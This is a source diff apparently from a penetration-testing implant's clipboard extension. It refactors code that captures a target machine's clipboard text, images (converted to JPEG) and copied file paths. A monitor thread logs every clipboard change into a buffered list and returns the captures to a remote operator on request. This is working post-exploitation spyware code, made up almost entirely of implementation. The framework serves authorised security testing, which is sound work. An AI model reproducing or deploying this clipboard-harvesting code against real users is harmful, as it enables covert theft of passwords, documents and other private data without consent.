+	lock_acquire(pCaptureList->pClipboardCaptureLock);
+	pCapture = pCaptureList->pHead;
+	while (pCapture)
+	{
+		dump_clipboard_capture(pResponse, pCapture, bCaptureImageData);
+		pCapture = pCapture->pNext;
+	}
+
+	if (bPurge)
+	{
+		destroy_clipboard_monitor_capture(pCaptureList, FALSE);
+	}
+	lock_release(pCaptureList->pClipboardCaptureLock);
+}
+
+BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
+{
+	if (pNewCapture->dwSize + pList->dwClipboardDataSize > MAX_CLIPBOARD_MONITOR_MEMORY)
+	{
+		return FALSE;
+	}
+
+	lock_acquire(pList->pClipboardCaptureLock);
+
+	pNewCapture->pNext = NULL;
+	if (pList->pTail == NULL)
+	{
+		pList->pHead = pList->pTail = pNewCapture;
+	}
+	else
+	{
+		pList->pTail->pNext = pNewCapture;
+		pList->pTail = pList->pTail->pNext = pNewCapture;
+	}
+	pList->dwClipboardDataSize += pNewCapture->dwSize;
+	lock_release(pList->pClipboardCaptureLock);
+	return TRUE;
+}
+
+DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
+{
+	DWORD dwResult;
+	DWORD dwCount;
+	HANDLE hSourceFile = NULL;
+	PCHAR lpClipString = NULL;
+	HGLOBAL hClipboardData = NULL;
+	HDROP hFileDrop = NULL;
+	UINT uFormat = 0;
+	UINT uFileIndex = 0;
+	UINT uFileCount = 0;
+	CHAR lpFileName[MAX_PATH];
+	LARGE_INTEGER largeInt = { 0 };
+	LPBITMAPINFO lpBI = NULL;
+	PUCHAR lpDIB = NULL;
+	ConvertedImage image;
+	ClipboardFile* pFile = NULL;
+	ClipboardCapture* pCapture = (ClipboardCapture*)malloc(sizeof(ClipboardCapture));
+
+	memset(pCapture, 0, sizeof(ClipboardCapture));
+
+	pCapture->pNext = NULL;
+	dprintf("[EXTAPI CLIPBOARD] Getting timestamp");
+	GetSystemTime(&pCapture->stCaptureTime);
+	do
+	{
+		// Try to get a lock on the clipboard
+		if (!pOpenClipboard(NULL))
+		{
+			dwResult = GetLastError();
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult);
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Clipboard locked, attempting to get data...");
+
+		while (uFormat = pEnumClipboardFormats(uFormat))
+		{
+			if (uFormat == CF_TEXT)
+			{
+				// there's raw text on the clipboard
+				if ((hClipboardData = pGetClipboardData(CF_TEXT)) != NULL
+					&& (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL)
+				{
+					dprintf("[EXTAPI CLIPBOARD] Clipboard text captured: %s", lpClipString);
+					pCapture->captureType = CapText;
+					dwCount = lstrlenA(lpClipString) + 1;
+					pCapture->lpText = (char*)malloc(dwCount);
+					memset(pCapture->lpText, 0, dwCount);
+					strncpy_s(pCapture->lpText, dwCount, lpClipString, dwCount - 1);
+
+					pGlobalUnlock(hClipboardData);
+				}
+			}
+			else if (uFormat == CF_DIB)
+			{
+				dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard bitmap data");
+				// an image of some kind is on the clipboard
+				if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL
+					&& (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL)
+				{
+					dprintf("[EXTAPI CLIPBOARD] CF_DIB grabbed, extracting dimensions.");
+
+					// grab the bitmap image size
+					pCapture->captureType = CapImage;
+					pCapture->lpImage = (ClipboardImage*)malloc(sizeof(ClipboardImage));
+					memset(pCapture->lpImage, 0, sizeof(ClipboardImage));
+					pCapture->lpImage->dwWidth = htonl(lpBI->bmiHeader.biWidth);
+					pCapture->lpImage->dwHeight = htonl(lpBI->bmiHeader.biHeight);
+
+					// only download the image if they want it
+					dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight,
+						bCaptureImageData ? "WILL" : "will NOT");
+
+					if (bCaptureImageData)
+					{
+						lpDIB = ((PUCHAR)lpBI) + get_bitmapinfo_size(lpBI, TRUE);
+
+						// TODO: add the ability to encode with multiple encoders and return the smallest image.
+						if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS)
+						{
+							dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize);
+							pCapture->lpImage->lpImageContent = image.pImageBuffer;
+							pCapture->lpImage->dwImageSize = image.dwImageBufferSize;
+
+							// Just leaving this in for debugging purposes later on
+							//hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+							//WriteFile(hSourceFile, image.pImageBuffer, image.dwImageBufferSize, &largeInt.LowPart, NULL);
+							//CloseHandle(hSourceFile);
+						}
+						else
+						{
+							dwResult = GetLastError();
+							dprintf("[EXTAPI CLIPBOARD] Failed to convert clipboard image to JPG");
+						}
+					}
+
+					pGlobalUnlock(hClipboardData);
+				}
+				else
+				{
+					dwResult = GetLastError();
+					dprintf("[EXTAPI CLIPBOARD] Failed to get access to the CF_DIB information");
+				}
+			}
+			else if (uFormat == CF_HDROP)
+			{
+				// there's one or more files on the clipboard
+				dprintf("[EXTAPI CLIPBOARD] Files have been located on the clipboard");
+				dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard file drop data");
+				if ((hClipboardData = pGetClipboardData(CF_HDROP)) != NULL
+					&& (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL)
+				{
+					uFileCount = pDragQueryFileA(hFileDrop, (UINT)-1, NULL, 0);
+
+					dprintf("[EXTAPI CLIPBOARD] Parsing %u file(s) on the clipboard.", uFileCount);
+					pCapture->captureType = CapFiles;
+					pFile = pCapture->lpFiles;
+
+					for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex)
+					{
+						if (pFile == NULL)
+						{
+							dprintf("[EXTAPI CLIPBOARD] First file");
+							pCapture->lpFiles = pFile = (ClipboardFile*)malloc(sizeof(ClipboardFile));
+						}
+						else
+						{
+							dprintf("[EXTAPI CLIPBOARD] Extra file");
+							pFile->pNext = (ClipboardFile*)malloc(sizeof(ClipboardFile));
+							pFile = pFile->pNext;
+						}
+
+						memset(pFile, 0, sizeof(ClipboardFile));
+
+						dprintf("[EXTAPI CLIPBOARD] Attempting to get file data");
+						if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName)))
+						{
+							dprintf("[EXTAPI CLIPBOARD] Clipboard file entry: %s", lpFileName);
+
+							dwCount = lstrlenA(lpFileName) + 1;
+							pFile->lpPath = (char*)malloc(dwCount);
+							memset(pFile->lpPath, 0, dwCount);
+							strncpy_s(pFile->lpPath, dwCount, lpFileName, dwCount - 1);
+
+							memset(&largeInt, 0, sizeof(largeInt));
+
+							if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL)
+							{
+								if (pGetFileSizeEx(hSourceFile, &largeInt))
+								{
+									pFile->qwSize = htonq(largeInt.QuadPart);
+								}
+
+								pCloseHandle(hSourceFile);
+							}
+
+						}
+					}
+
+					pGlobalUnlock(hClipboardData);
+				}
+			}
+		}
+
+		dwResult = GetLastError();
+		dprintf("[EXTAPI CLIPBOARD] Finished with result %u (%x)", dwResult, dwResult);
+
+		pCloseClipboard();
+	} while (0);
+
+	if (dwResult != ERROR_SUCCESS)
+	{
+		free(pCapture);
+		pCapture = NULL;
+	}
+	*ppCapture = pCapture;
+
+	return dwResult;
+}
+
 LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam, WPARAM wParam)
 {
+	DWORD dwResult;
 	ClipboardState* pState = (ClipboardState*)GetWindowLongPtrA(hWnd, GWLP_USERDATA);
+	ClipboardCapture* pNewCapture = NULL;
 
 	if (!pState)
 	{
@@ -124,6 +659,23 @@ LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam
 		if (pState->bRunning)
 		{
 			dprintf("[EXTAPI CLIPBOARD] thread is running, harvesting clipboard %x", hWnd);
+			dwResult = capture_clipboard(pState->bCaptureImageData, &pNewCapture);
+			if (dwResult == ERROR_SUCCESS && pNewCapture != NULL)
+			{
+				if (add_clipboard_capture(pNewCapture, &pState->captureList))
+				{
+					dprintf("[EXTAPI CLIPBOARD] Capture added %x", hWnd);
+				}
+				else
+				{
+					free(pNewCapture);
+					dprintf("[EXTAPI CLIPBOARD] Data size too big, ignoring data %x", hWnd);
+				}
+			}
+			else
+			{
+				dprintf("[EXTAPI CLIPBOARD] Failed to harvest from clipboard %x: %u (%x)", hWnd, dwResult, dwResult);
+			}
 		}
 		else
 		{
@@ -233,284 +785,37 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 {
 #ifdef _WIN32
 	DWORD dwResult;
-	HMODULE hKernel32 = NULL;
-	HMODULE hUser32 = NULL;
-	HMODULE hShell32 = NULL;
-
-	PGLOBALLOCK pGlobalLock = NULL;
-	PGLOBALUNLOCK pGlobalUnlock = NULL;
-
-	POPENCLIPBOARD pOpenClipboard = NULL;
-	PCLOSECLIPBOARD pCloseClipboard = NULL;
-	PGETCLIPBOARDDATA pGetClipboardData = NULL;
-	PENUMCLIPBOARDFORMATS pEnumClipboardFormats = NULL;
-	PDRAGQUERYFILEA pDragQueryFileA = NULL;
-	PCREATEFILEA pCreateFileA = NULL;
-	PCLOSEHANDLE pCloseHandle = NULL;
-	PGETFILESIZEEX pGetFileSizeEx = NULL;
-
-	HANDLE hSourceFile = NULL;
-	PCHAR lpClipString = NULL;
-	HGLOBAL hClipboardData = NULL;
-	HDROP hFileDrop = NULL;
-	UINT uFormat = 0;
-	UINT uFileIndex = 0;
-	UINT uFileCount = 0;
-	CHAR lpFileName[MAX_PATH];
-	Tlv entries[2] = { 0 };
-	LARGE_INTEGER largeInt = { 0 };
-	LPBITMAPINFO lpBI = NULL;
-	PUCHAR lpDIB = NULL;
-	ConvertedImage image;
-	BOOL bImageDownload = FALSE;
-	DWORD dwWidth;
-	DWORD dwHeight;
-	Tlv imageTlv[3];
-
+	ClipboardCapture* pCapture = NULL;
+	BOOL bDownload = FALSE;
 	Packet *pResponse = packet_create_response(packet);
 
 	do
 	{
-		dprintf("[EXTAPI CLIPBOARD] Loading user32.dll");
-		if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
+		dprintf("[EXTAPI CLIPBOARD] Checking to see if we loaded OK");
+		if (!gClipboardInitialised)
 		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll");
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data");
 		}
 
-		dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll");
-		if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL)
+		bDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD);
+
+		if ((dwResult = capture_clipboard(bDownload, &pCapture)) != ERROR_SUCCESS)
 		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll");
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] failed to read clipboard data");
 		}
 
-		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock");
-		if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll");
-		}
+		dprintf("[EXTAPI CLIPBOARD] writing to socket");
+		dump_clipboard_capture(pResponse, pCapture, bDownload);
+		dprintf("[EXTAPI CLIPBOARD] written to socket");
 
-		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock");
-		if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll");
-		}
-
-		dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard");
-		if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll");
-		}
-
-		dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard");
-		if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll");
-		}
-
-		dprintf("[EXTAPI CLIPBOARD] Searching for GetClipboardData");
-		if ((pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress(hUser32, "GetClipboardData")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetClipboardData in user32.dll");
-		}
-
-		dprintf("[EXTAPI CLIPBOARD] Searching for EnumClipboardFormats");
-		if ((pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress(hUser32, "EnumClipboardFormats")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EnumClipboardFormats in user32.dll");
-		}
-
-		// Try to get a lock on the clipboard
-		if (!pOpenClipboard(NULL))
-		{
-			dwResult = GetLastError();
-			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult);
-		}
-
-		dprintf("[EXTAPI CLIPBOARD] Clipboard locked, attempting to get data...");
-
-		while (uFormat = pEnumClipboardFormats(uFormat))
-		{
-			if (uFormat == CF_TEXT)
-			{
-				// there's raw text on the clipboard
-				if ((hClipboardData = pGetClipboardData(CF_TEXT)) != NULL
-					&& (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL)
-				{
-					dprintf("[EXTAPI CLIPBOARD] Clipboard text captured: %s", lpClipString);
-					packet_add_tlv_string(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString);
-
-					pGlobalUnlock(hClipboardData);
-				}
-			}
-			else if (uFormat == CF_DIB)
-			{
-				dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard bitmap data");
-				// an image of some kind is on the clipboard
-				if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL
-					&& (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL)
-				{
-					dprintf("[EXTAPI CLIPBOARD] CF_DIB grabbed, extracting dimensions.");
-
-					// grab the bitmap image size
-					dwWidth = htonl(lpBI->bmiHeader.biWidth);
-					dwHeight = htonl(lpBI->bmiHeader.biHeight);
-
-					imageTlv[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX;
-					imageTlv[0].header.length = sizeof(UINT);
-					imageTlv[0].buffer = (PUCHAR)&dwWidth;
-					imageTlv[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY;
-					imageTlv[1].header.length = sizeof(UINT);
-					imageTlv[1].buffer = (PUCHAR)&dwHeight;
-
-					// only download the image if they want it
-					bImageDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD);
-					dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight,
-						bImageDownload ? "WILL" : "will NOT");
-
-					if (!bImageDownload)
-					{
-						packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 2);
-					}
-					else
-					{
-						lpDIB = ((PUCHAR)lpBI) + get_bitmapinfo_size(lpBI, TRUE);
-
-						// TODO: add the ability to encode with multiple encoders and return the smallest image.
-						if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS)
-						{
-							dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize);
-							imageTlv[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA;
-							imageTlv[2].header.length = image.dwImageBufferSize;
-							imageTlv[2].buffer = (PUCHAR)image.pImageBuffer;
-
-							packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 3);
-
-							// Just leaving this in for debugging purposes later on
-							//hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
-							//WriteFile(hSourceFile, image.pImageBuffer, image.dwImageBufferSize, &largeInt.LowPart, NULL);
-							//CloseHandle(hSourceFile);
-
-							free(image.pImageBuffer);
-						}
-						else
-						{
-							dwResult = GetLastError();
-							dprintf("[EXTAPI CLIPBOARD] Failed to convert clipboard image to JPG");
-						}
-					}
-
-					pGlobalUnlock(hClipboardData);
-				}
-				else
-				{
-					dwResult = GetLastError();
-					dprintf("[EXTAPI CLIPBOARD] Failed to get access to the CF_DIB information");
-				}
-			}
-			else if (uFormat == CF_HDROP) {
-				// there's one or more files on the clipboard
-				dprintf("[EXTAPI CLIPBOARD] Files have been located on the clipboard");
-				do
-				{
-					dprintf("[EXTAPI CLIPBOARD] Loading shell32.dll");
-					if ((hShell32 = LoadLibraryA("shell32.dll")) == NULL)
-					{
-						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load shell32.dll");
-					}
-
-					dprintf("[EXTAPI CLIPBOARD] Searching for CreateFileA");
-					if ((pCreateFileA = (PCREATEFILEA)GetProcAddress(hKernel32, "CreateFileA")) == NULL)
-					{
-						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CreateFileA in kernel32.dll");
-					}
-
-					dprintf("[EXTAPI CLIPBOARD] Searching for CloseHandle");
-					if ((pCloseHandle = (PCLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle")) == NULL)
-					{
-						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseHandle in kernel32.dll");
-					}
-
-					dprintf("[EXTAPI CLIPBOARD] Searching for GetFileSizeEx");
-					if ((pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress(hKernel32, "GetFileSizeEx")) == NULL)
-					{
-						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetFileSizeEx in kernel32.dll");
-					}
-
-					dprintf("[EXTAPI CLIPBOARD] Searching for DragQueryFileA");
-					if ((pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress(hShell32, "DragQueryFileA")) == NULL)
-					{
-						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in shell32.dll");
-					}
-
-					dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard file drop data");
-					if ((hClipboardData = pGetClipboardData(CF_HDROP)) != NULL
-						&& (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL)
-					{
-						uFileCount = pDragQueryFileA(hFileDrop, (UINT)-1, NULL, 0);
-
-						dprintf("[EXTAPI CLIPBOARD] Parsing %u file(s) on the clipboard.", uFileCount);
-
-						for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex)
-						{
-							if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName)))
-							{
-								dprintf("[EXTAPI CLIPBOARD] Clipboard file entry: %s", lpFileName);
-
-								memset(&entries, 0, sizeof(entries));
-								memset(&largeInt, 0, sizeof(largeInt));
-
-								entries[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME;
-								entries[0].header.length = (DWORD)strlen(lpFileName) + 1;
-								entries[0].buffer = (PUCHAR)lpFileName;
-
-								entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE;
-								entries[1].header.length = sizeof(QWORD);
-								entries[1].buffer = (PUCHAR)&largeInt.QuadPart;
-
-								if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL)
-								{
-									if (pGetFileSizeEx(hSourceFile, &largeInt))
-									{
-										largeInt.QuadPart = htonq(largeInt.QuadPart);
-									}
-
-									pCloseHandle(hSourceFile);
-								}
-
-								packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, entries, 2);
-							}
-						}
-
-						pGlobalUnlock(hClipboardData);
-					}
-
-				} while (0);
-			}
-		}
+		free(pCapture);
 
 		dwResult = GetLastError();
-
-		pCloseClipboard();
-
 	} while (0);
 
-	if (hShell32)
-	{
-		FreeLibrary(hShell32);
-	}
-
-	if (hKernel32)
-	{
-		FreeLibrary(hKernel32);
-	}
-
-	if (hUser32)
-	{
-		FreeLibrary(hUser32);
-	}
-
 	if (pResponse)
 	{
+		dprintf("[EXTAPI CLIPBOARD] sending response");
 		packet_transmit_response(dwResult, remote, pResponse);
 	}
 
@@ -535,19 +840,6 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 {
 #ifdef _WIN32
 	DWORD dwResult;
-	HMODULE hKernel32 = NULL;
-	HMODULE hUser32 = NULL;
-
-	PGLOBALALLOC pGlobalAlloc = NULL;
-	PGLOBALFREE pGlobalFree = NULL;
-	PGLOBALLOCK pGlobalLock = NULL;
-	PGLOBALUNLOCK pGlobalUnlock = NULL;
-
-	POPENCLIPBOARD pOpenClipboard = NULL;
-	PCLOSECLIPBOARD pCloseClipboard = NULL;
-	PSETCLIPBOARDDATA pSetClipboardData = NULL;
-	PEMPTYCLIPBOARD pEmptyClipboard = NULL;
-
 	PCHAR lpClipString;
 	HGLOBAL hClipboardData;
 	PCHAR lpLockedData;
@@ -555,63 +847,17 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 
 	do
 	{
+		dprintf("[EXTAPI CLIPBOARD] Checking to see if we loaded OK");
+		if (!gClipboardInitialised)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data");
+		}
+
 		if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)) == NULL)
 		{
 			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] No string data specified", ERROR_INVALID_PARAMETER);
 		}
 
-		dprintf("[EXTAPI CLIPBOARD] Loading user32.dll");
-		if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll");
-		}
-
-		dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll");
-		if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll");
-		}
-
-		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalAlloc");
-		if ((pGlobalAlloc = (PGLOBALALLOC)GetProcAddress(hKernel32, "GlobalAlloc")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalAlloc in kernel32.dll");
-		}
-
-		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock");
-		if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll");
-		}
-
-		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock");
-		if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll");
-		}
-
-		dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard");
-		if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL)
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll");
-
-		dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard");
-		if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll");
-		}
-
-		dprintf("[EXTAPI CLIPBOARD] Searching for EmptyClipboard");
-		if ((pEmptyClipboard = (PEMPTYCLIPBOARD)GetProcAddress(hUser32, "EmptyClipboard")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EmptyClipboard in user32.dll");
-		}
-
-		dprintf("[EXTAPI CLIPBOARD] Searching for SetClipboardData");
-		if ((pSetClipboardData = (PSETCLIPBOARDDATA)GetProcAddress(hUser32, "SetClipboardData")) == NULL)
-		{
-			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate SetClipboardData in user32.dll");
-		}
-
 		cbStringBytes = (SIZE_T)strlen(lpClipString) + 1;
 
 		// do the "use the right kind of memory once locked" clip board data dance.
@@ -645,7 +891,8 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 			dwResult = GetLastError();
 			dprintf("[EXTAPI CLIPBOARD] Failed to set the clipboad data: %u", dwResult);
 		}
-		else {
+		else
+		{
 			dwResult = ERROR_SUCCESS;
 		}
 
@@ -657,21 +904,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 	// free it up because the clipboard can't do it for us.
 	if (dwResult != ERROR_SUCCESS && hClipboardData != NULL)
 	{
-		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalFree");
-		if ((pGlobalFree = (PGLOBALFREE)GetProcAddress(hKernel32, "GlobalFree")) != NULL)
-		{
-			pGlobalFree(hClipboardData);
-		}
-	}
-
-	if (hKernel32)
-	{
-		FreeLibrary(hKernel32);
-	}
-
-	if (hUser32)
-	{
-		FreeLibrary(hUser32);
+		pGlobalFree(hClipboardData);
 	}
 
 	packet_transmit_empty_response(remote, packet, dwResult);
@@ -711,6 +944,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
 
 		waitableHandles[0] = thread->sigterm->handle;
 		waitableHandles[1] = pState->hPauseEvent->handle;
+		waitableHandles[2] = pState->hResumeEvent->handle;
 
 		while (!bTerminate)
 		{
@@ -725,26 +959,14 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
 			case 1: // pause the thread
 				dprintf("[EXTAPI CLIPBOARD] Thread paused");
 				pState->bRunning = FALSE;
-
 				// indicate that we've paused
 				event_signal(pState->hResponseEvent);
-
-				// wait to be told to continue, but keep pumping messages while we wait
-				// because these are the messages we're ignoring.
-				while (!event_poll(pState->hResumeEvent, 1))
-				{
-					if (pState->hClipboardWindow && PeekMessageA(&msg, pState->hClipboardWindow, 0, 0, PM_REMOVE))
-					{
-						TranslateMessage(&msg);
-						DispatchMessageA(&msg);
-					}
-				}
-
-				// indicate that we've resumed
-				pState->bRunning = TRUE;
-				event_signal(pState->hResponseEvent);
-
+				break;
+			case 2: // resume the thread
 				dprintf("[EXTAPI CLIPBOARD] Thread resumed");
+				pState->bRunning = TRUE;
+				// indicate that we've resumed
+				event_signal(pState->hResponseEvent);
 				break;
 			default:
 				// timeout, so pump messages
@@ -792,6 +1014,7 @@ VOID destroy_clipboard_monitor_state(ClipboardState* pState)
 		{
 			event_destroy(pState->hResponseEvent);
 		}
+		destroy_clipboard_monitor_capture(&pState->captureList, TRUE);
 
 		free(pState);
 	}
@@ -806,6 +1029,12 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
 
 	do
 	{
+		dprintf("[EXTAPI CLIPBOARD] Checking to see if we loaded OK");
+		if (!gClipboardInitialised)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data");
+		}
+
 		if (gClipboardState != NULL)
 		{
 			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread already running", ERROR_ALREADY_INITIALIZED);
@@ -831,12 +1060,12 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
 		strncpy_s(pState->cbWindowClass, sizeof(pState->cbWindowClass), lpClassName, sizeof(pState->cbWindowClass) - 1);
 		dprintf("[EXTAPI CLIPBOARD] Class Name set to %s", pState->cbWindowClass);
 
-		pState->bDownloadFiles = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES);
-		pState->bDownloadImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES);
+		pState->bCaptureImageData = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA);
 
 		pState->hPauseEvent = event_create();
 		pState->hResumeEvent = event_create();
 		pState->hResponseEvent = event_create();
+		pState->captureList.pClipboardCaptureLock = lock_create();
 
 		if (pState->hPauseEvent == NULL
 			|| pState->hResumeEvent == NULL
@@ -909,7 +1138,7 @@ DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet)
 	{
 		if (gClipboardState == NULL)
 		{
-			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOTHING_TO_TERMINATE);
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
 		}
 
